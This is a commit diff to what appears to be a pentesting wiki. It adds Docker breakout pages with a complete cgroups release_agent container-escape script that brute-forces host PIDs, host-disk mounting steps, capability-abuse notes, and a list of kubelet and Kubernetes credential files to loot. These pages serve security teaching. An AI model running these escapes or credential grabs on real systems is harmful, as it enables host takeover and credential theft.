GitBook: [#2944] No subject
This commit is contained in:
CPol
gitbook-bot
parent
cec4bc5c1d
commit
ce581dfeaf
|
|
@ -33,8 +33,8 @@
|
|||
* [Containerd (ctr) Privilege Escalation](linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
||||
* [Docker Basics & Breakout](linux-unix/privilege-escalation/docker-breakout/README.md)
|
||||
* [AuthZ& AuthN - Docker Access Authorization Plugin](linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md)
|
||||
* [Docker Breakout / Privilege Escalation](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/README.md)
|
||||
* [Relative Paths to PIDs](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/relative-paths-to-pids.md)
|
||||
* [Docker Breakout / Privilege Escalation](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md)
|
||||
* [release\_agent exploit - Relative Paths to PIDs](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/release\_agent-exploit-relative-paths-to-pids.md)
|
||||
* [Docker release\_agent cgroups escape](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release\_agent-cgroups-escape.md)
|
||||
* [Seccomp](linux-unix/privilege-escalation/docker-breakout/seccomp.md)
|
||||
* [AppArmor](linux-unix/privilege-escalation/docker-breakout/apparmor.md)
|
||||
|
|
|
|||
|
|
@ -621,6 +621,12 @@ Now, you can execute commands on the container from this `socat` connection.
|
|||
|
||||
Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
Check **more ways to break out from docker or abuse i to escalate privileges** in:
|
||||
|
||||
{% content-ref url="docker-breakout/" %}
|
||||
[docker-breakout](docker-breakout/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Containerd (ctr) privilege escalation
|
||||
|
||||
If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**:
|
||||
|
|
|
|||
|
|
@ -306,8 +306,8 @@ If you’re using [Kubernetes](https://kubernetes.io/docs/concepts/configuration
|
|||
|
||||
If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**:
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/" %}
|
||||
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||
{% content-ref url="docker-breakout-privilege-escalation.md" %}
|
||||
[docker-breakout-privilege-escalation.md](docker-breakout-privilege-escalation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Docker Authentication Plugin Bypass
|
||||
|
|
|
|||
|
|
@ -32,7 +32,7 @@ Note also that if you can **mount `/etc`** or any other folder **containing conf
|
|||
|
||||
### Escaping from the container
|
||||
|
||||
* **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
|
||||
* **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation.md#automatic-enumeration-and-escape).
|
||||
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work.
|
||||
|
||||
### Curl
|
||||
|
|
|
|||
|
|
@ -44,8 +44,8 @@ capsh --print
|
|||
|
||||
In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges:
|
||||
|
||||
{% content-ref url="../../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../../linux-capabilities.md)
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Privileged Containers
|
||||
|
|
@ -63,8 +63,8 @@ A privileged container can be created with the flag `--privileged` or disabling
|
|||
|
||||
The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. You can r**ead all the effects of `--privileged`** in this page:
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
{% content-ref url="docker-privileged.md" %}
|
||||
[docker-privileged.md](docker-privileged.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
In fact, `--privileged` **provides far more permissions** than needed to escape a docker container via this method. In reality, the “only” requirements are:
|
||||
|
|
@ -82,6 +82,8 @@ A container would be vulnerable to this technique if run with the flags: `--secu
|
|||
|
||||
### Mounting Disk
|
||||
|
||||
#### Poc1
|
||||
|
||||
Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.
|
||||
|
||||
|
||||
|
|
@ -95,6 +97,31 @@ mount /dev/sda1 /mnt/hola
|
|||
|
||||
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder.
|
||||
|
||||
#### Poc2
|
||||
|
||||
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
|
||||
|
||||
```bash
|
||||
#### Check if You Can Write to a File-system
|
||||
echo 1 > /proc/sysrq-trigger
|
||||
|
||||
#### Check root UUID
|
||||
cat /proc/cmdline
|
||||
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300
|
||||
|
||||
# Check Underlying Host Filesystem
|
||||
findfs UUID=<UUID Value>
|
||||
/dev/sda1
|
||||
|
||||
# Attempt to Mount the Host's Filesystem
|
||||
mkdir /mnt-test
|
||||
mount /dev/sda1 /mnt-test
|
||||
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.
|
||||
|
||||
#### debugfs (Interactive File System Debugger)
|
||||
debugfs /dev/sda1
|
||||
```
|
||||
|
||||
### Abusing release\_agent
|
||||
|
||||
{% code title="Initial PoC" %}
|
||||
|
|
@ -143,9 +170,109 @@ head /output
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## `--privileged` flag v2
|
||||
Find an **explanation of the technique** in:
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md" %}
|
||||
[docker-release\_agent-cgroups-escape.md](docker-breakout-privilege-escalation/docker-release\_agent-cgroups-escape.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Abusing release\_agents without knowing relative path
|
||||
|
||||
In the previous exploits the **absolute path of the continer inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the continer inside the host** you can use this technique:
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md" %}
|
||||
[release\_agent-exploit-relative-paths-to-pids.md](docker-breakout-privilege-escalation/release\_agent-exploit-relative-paths-to-pids.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
OUTPUT_DIR="/"
|
||||
MAX_PID=65535
|
||||
CGROUP_NAME="xyx"
|
||||
CGROUP_MOUNT="/tmp/cgrp"
|
||||
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
|
||||
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
|
||||
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
|
||||
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
|
||||
|
||||
# Run a process for which we can search for (not needed in reality, but nice to have)
|
||||
sleep 10000 &
|
||||
|
||||
# Prepare the payload script to execute on the host
|
||||
cat > ${PAYLOAD_PATH} << __EOF__
|
||||
#!/bin/sh
|
||||
|
||||
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
|
||||
|
||||
# Commands to run on the host<
|
||||
ps -eaf > \${OUTPATH} 2>&1
|
||||
__EOF__
|
||||
|
||||
# Make the payload script executable
|
||||
chmod a+x ${PAYLOAD_PATH}
|
||||
|
||||
# Set up the cgroup mount using the memory resource cgroup controller
|
||||
mkdir ${CGROUP_MOUNT}
|
||||
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
|
||||
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
|
||||
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
||||
|
||||
# Brute force the host pid until the output path is created, or we run out of guesses
|
||||
TPID=1
|
||||
while [ ! -f ${OUTPUT_PATH} ]
|
||||
do
|
||||
if [ $((${TPID} % 100)) -eq 0 ]
|
||||
then
|
||||
echo "Checking pid ${TPID}"
|
||||
if [ ${TPID} -gt ${MAX_PID} ]
|
||||
then
|
||||
echo "Exiting at ${MAX_PID} :-("
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
# Set the release_agent path to the guessed pid
|
||||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||||
# Trigger execution of the release_agent
|
||||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||||
TPID=$((${TPID} + 1))
|
||||
done
|
||||
|
||||
# Wait for and cat the output
|
||||
sleep 1
|
||||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
|
||||
Executing the PoC within a privileged container should provide output similar to:
|
||||
|
||||
```bash
|
||||
root@container:~$ ./release_agent_pid_brute.sh
|
||||
Checking pid 100
|
||||
Checking pid 200
|
||||
Checking pid 300
|
||||
Checking pid 400
|
||||
Checking pid 500
|
||||
Checking pid 600
|
||||
Checking pid 700
|
||||
Checking pid 800
|
||||
Checking pid 900
|
||||
Checking pid 1000
|
||||
Checking pid 1100
|
||||
Checking pid 1200
|
||||
|
||||
Done! Output:
|
||||
UID PID PPID C STIME TTY TIME CMD
|
||||
root 1 0 0 11:25 ? 00:00:01 /sbin/init
|
||||
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
|
||||
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
|
||||
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
|
||||
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
|
||||
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
|
||||
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
||||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
|
||||
### Runc exploit (CVE-2019-5736)
|
||||
|
||||
|
|
@ -164,26 +291,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
|
|||
There are other CVEs the container can be vulnerable too
|
||||
{% endhint %}
|
||||
|
||||
### Writable hostPath Mount
|
||||
|
||||
(Info from [**here**](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)) Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
|
||||
|
||||
```bash
|
||||
#### Check if You Can Write to a File-system
|
||||
$ echo 1 > /proc/sysrq-trigger
|
||||
|
||||
#### Check root UUID
|
||||
$ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem
|
||||
$ findfs UUID=<UUID Value>/dev/sda1- Attempt to Mount the Host's Filesystem
|
||||
$ mkdir /mnt-test
|
||||
$ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.
|
||||
|
||||
#### debugfs (Interactive File System Debugger)
|
||||
$ debugfs /dev/sda1
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB](https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB)
|
||||
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
||||
* [https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)
|
||||
|
|
@ -1,2 +0,0 @@
|
|||
# Relative Paths to PIDs
|
||||
|
||||
|
|
@ -0,0 +1,205 @@
|
|||
# release\_agent exploit - Relative Paths to PIDs
|
||||
|
||||
## Introduction
|
||||
|
||||
The previous PoCs work fine when the container is configured with a storage-driver which exposes the **full host path of the mount point**, for example `overlayfs`, however there are configurations which did **not obviously disclose the host file system mount point**.
|
||||
|
||||
In this PoC instead of using the path where the container is located inside the hosts filesystem, we are going to discover a container PID inside the host a
|
||||
|
||||
### Examples of container not exposing the path location inside the host
|
||||
|
||||
#### Kata Containers
|
||||
|
||||
```
|
||||
root@container:~$ head -1 /etc/mtab
|
||||
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
|
||||
```
|
||||
|
||||
[Kata Containers](https://katacontainers.io) by default mounts the root fs of a container over `9pfs`. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine.
|
||||
|
||||
#### Device Mapper
|
||||
|
||||
```
|
||||
root@container:~$ head -1 /etc/mtab
|
||||
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
|
||||
```
|
||||
|
||||
I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment.
|
||||
|
||||
## PoC
|
||||
|
||||
The one key piece of information required is the **full path, relative to the container host, of a file to execute within the container**. Without being able to discern this from mount points within the container we have to look elsewhere.
|
||||
|
||||
### /proc/\<pid>/root
|
||||
|
||||
The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container
|
||||
|
||||
```bash
|
||||
root@container:~$ sleep 100
|
||||
```
|
||||
|
||||
```bash
|
||||
root@host:~$ ps -eaf | grep sleep
|
||||
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
|
||||
root@host:~$ ls -la /proc/`pidof sleep`
|
||||
total 0
|
||||
dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
|
||||
dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
|
||||
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
|
||||
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
|
||||
-r-------- 1 root root 0 Nov 19 10:04 auxv
|
||||
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
|
||||
--w------- 1 root root 0 Nov 19 10:04 clear_refs
|
||||
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
|
||||
...
|
||||
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
|
||||
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
|
||||
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
|
||||
...
|
||||
```
|
||||
|
||||
_As an aside, the `/proc/<pid>/root` data structure is one that confused me for a very long time, I could never understand why having a symbolic link to `/` was useful, until I read the actual definition in the man pages:_
|
||||
|
||||
> /proc/\[pid]/root
|
||||
>
|
||||
> UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot(2) system call. This file is a symbolic link that points to the process’s root directory, and behaves in the same way as exe, and fd/\*.
|
||||
>
|
||||
> Note however that this file is not merely a symbolic link. It provides the same view of the filesystem (including namespaces and the set of per-process mounts) as the process itself.
|
||||
|
||||
The **`/proc/<pid>/root` symbolic link can be used as a host relative path to any file within a container**:
|
||||
|
||||
```bash
|
||||
root@container:~$ echo findme > /findme
|
||||
root@container:~$ sleep 100
|
||||
```
|
||||
|
||||
```bash
|
||||
root@host:~$ cat /proc/`pidof sleep`/root/findme
|
||||
findme
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
**This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of **_**any**_** process running in the container.**
|
||||
{% endhint %}
|
||||
|
||||
### Pid Bashing <a href="#pid-bashing" id="pid-bashing"></a>
|
||||
|
||||
This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the **host process id of a process within a container, a brute force incremental search can be used**:
|
||||
|
||||
```
|
||||
root@container:~$ echo findme > /findme
|
||||
root@container:~$ sleep 100
|
||||
```
|
||||
|
||||
Host
|
||||
|
||||
```bash
|
||||
root@host:~$ COUNTER=1
|
||||
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
|
||||
root@host:~$ echo ${COUNTER}
|
||||
7822
|
||||
root@host:~$ cat /proc/${COUNTER}/root/findme
|
||||
findme
|
||||
```
|
||||
|
||||
### Putting it All Together <a href="#putting-it-all-together" id="putting-it-all-together"></a>
|
||||
|
||||
To complete this attack the brute force technique can be used to **guess the PID for the path `/proc/<pid>/root/payload.sh`**, with **each iteration** writing the guessed pid **path to the cgroups `release_agent` file, triggering the `release_agent`**, and seeing if an output file is created.
|
||||
|
||||
The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this _should_ not cause reliability issues, but don’t quote me on that.
|
||||
|
||||
The below PoC implements these techniques to provide a more generic attack than first presented in Felix’s original PoC for escaping a privileged container using the **cgroups `release_agent` functionality**:
|
||||
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
OUTPUT_DIR="/"
|
||||
MAX_PID=65535
|
||||
CGROUP_NAME="xyx"
|
||||
CGROUP_MOUNT="/tmp/cgrp"
|
||||
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
|
||||
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
|
||||
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
|
||||
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
|
||||
|
||||
# Run a process for which we can search for (not needed in reality, but nice to have)
|
||||
sleep 10000 &
|
||||
|
||||
# Prepare the payload script to execute on the host
|
||||
cat > ${PAYLOAD_PATH} << __EOF__
|
||||
#!/bin/sh
|
||||
|
||||
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
|
||||
|
||||
# Commands to run on the host<
|
||||
ps -eaf > \${OUTPATH} 2>&1
|
||||
__EOF__
|
||||
|
||||
# Make the payload script executable
|
||||
chmod a+x ${PAYLOAD_PATH}
|
||||
|
||||
# Set up the cgroup mount using the memory resource cgroup controller
|
||||
mkdir ${CGROUP_MOUNT}
|
||||
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
|
||||
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
|
||||
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
||||
|
||||
# Brute force the host pid until the output path is created, or we run out of guesses
|
||||
TPID=1
|
||||
while [ ! -f ${OUTPUT_PATH} ]
|
||||
do
|
||||
if [ $((${TPID} % 100)) -eq 0 ]
|
||||
then
|
||||
echo "Checking pid ${TPID}"
|
||||
if [ ${TPID} -gt ${MAX_PID} ]
|
||||
then
|
||||
echo "Exiting at ${MAX_PID} :-("
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
# Set the release_agent path to the guessed pid
|
||||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||||
# Trigger execution of the release_agent
|
||||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||||
TPID=$((${TPID} + 1))
|
||||
done
|
||||
|
||||
# Wait for and cat the output
|
||||
sleep 1
|
||||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
|
||||
Executing the PoC within a privileged container should provide output similar to:
|
||||
|
||||
```bash
|
||||
root@container:~$ ./release_agent_pid_brute.sh
|
||||
Checking pid 100
|
||||
Checking pid 200
|
||||
Checking pid 300
|
||||
Checking pid 400
|
||||
Checking pid 500
|
||||
Checking pid 600
|
||||
Checking pid 700
|
||||
Checking pid 800
|
||||
Checking pid 900
|
||||
Checking pid 1000
|
||||
Checking pid 1100
|
||||
Checking pid 1200
|
||||
|
||||
Done! Output:
|
||||
UID PID PPID C STIME TTY TIME CMD
|
||||
root 1 0 0 11:25 ? 00:00:01 /sbin/init
|
||||
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
|
||||
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
|
||||
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
|
||||
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
|
||||
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
|
||||
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
||||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
||||
|
|
@ -1258,6 +1258,41 @@ Note that if you set a new capability to the binary with CAP\_SETFCAP, you will
|
|||
|
||||
Once you have [SETUID capability](linux-capabilities.md#cap\_setuid) you can go to its section to see how to escalate privileges.
|
||||
|
||||
#### Example with environment (Docker breakout)
|
||||
|
||||
By default the capability **CAP\_SETFCAP is given to the proccess inside the container in Docker**. You can check that doing something like:
|
||||
|
||||
```bash
|
||||
cat /proc/`pidof bash`/status | grep Cap
|
||||
CapInh: 00000000a80425fb
|
||||
CapPrm: 00000000a80425fb
|
||||
CapEff: 00000000a80425fb
|
||||
CapBnd: 00000000a80425fb
|
||||
CapAmb: 0000000000000000
|
||||
|
||||
apsh --decode=00000000a80425fb
|
||||
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||||
```
|
||||
|
||||
This capability allow to **give any other capability to binaries**, so we could think about **escaping** from the container **abusing any of the other capability breakouts** mentioned in this page.\
|
||||
However, if you try to give for example the capabilities CAP\_SYS\_ADMIN and CAP\_SYS\_PTRACE to the gdb binary, you will find that you can give them, but the **binary won’t be able to execute after this**:
|
||||
|
||||
```bash
|
||||
getcap /usr/bin/gdb
|
||||
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
|
||||
|
||||
setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
|
||||
|
||||
/usr/bin/gdb
|
||||
bash: /usr/bin/gdb: Operation not permitted
|
||||
```
|
||||
|
||||
After investigating I read this: _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP\_SETPCAP** capability in its effective set._\
|
||||
It looks like the Permitted capabilities limit the ones that can be used.\
|
||||
However, Docker also grants the **CAP\_SETPCAP** by default, so you might be able to **set new capabilities inside the inheritables ones**.\
|
||||
However, in the documentation of this cap: _CAP\_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\
|
||||
It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP\_SYS\_ADMIN or CAP\_SYS\_PTRACE in the inherit set to escalate privileges**.
|
||||
|
||||
### CAP\_KILL
|
||||
|
||||
**This means that it's possible to kill any process.** You cannot escalate privileges directly with this capability.
|
||||
|
|
|
|||
|
|
@ -111,7 +111,17 @@ If you managed to **escape from the container** there are some interesting thing
|
|||
* More **pods/containers** running in the node you can abuse like this one (more tokens)
|
||||
* The whole **filesystem** and **OS** in general
|
||||
* The **Kube-Proxy** service listening
|
||||
* The **Kubelet** service listening: Check `/var/lib/kubelet/` specially `/var/lib/kubelet/kubeconfig`
|
||||
* The **Kubelet** service listening. Check config files:
|
||||
* Directory: `/var/lib/kubelet/` 
|
||||
* `/var/lib/kubelet/kubeconfig`
|
||||
* `/var/lib/kubelet/kubelet.conf`
|
||||
* `/var/lib/kubelet/config.yaml`
|
||||
* /var/lib/kubelet/kubeadm-flags.env - 
|
||||
* Other **kubernetes common files**:
|
||||
* `$HOME/.kube/config` - **User Config**
|
||||
* `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config**
|
||||
* `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
|
||||
* `/etc/kubernetes/pki` - **Kubernetes Key**
|
||||
|
||||
```bash
|
||||
# Check Kubelet privileges
|
||||
|
|
|
|||
|
|
@ -43,6 +43,10 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
|
|||
|
||||
## Vulns
|
||||
|
||||
### Password backtrace disclosure
|
||||
|
||||
Try to access `/auth.jsp` and if you are very lucky it **might disclose the password in a backtrace**.
|
||||
|
||||
### Double URL encode
|
||||
|
||||
A well-known vulnerability _to_ access the application manager \_\_ is mod\_jk in CVE-2007-1860, that allows **Double URL encode path traversal.**
|
||||
|
|
|
|||
Loading…
Reference in New Issue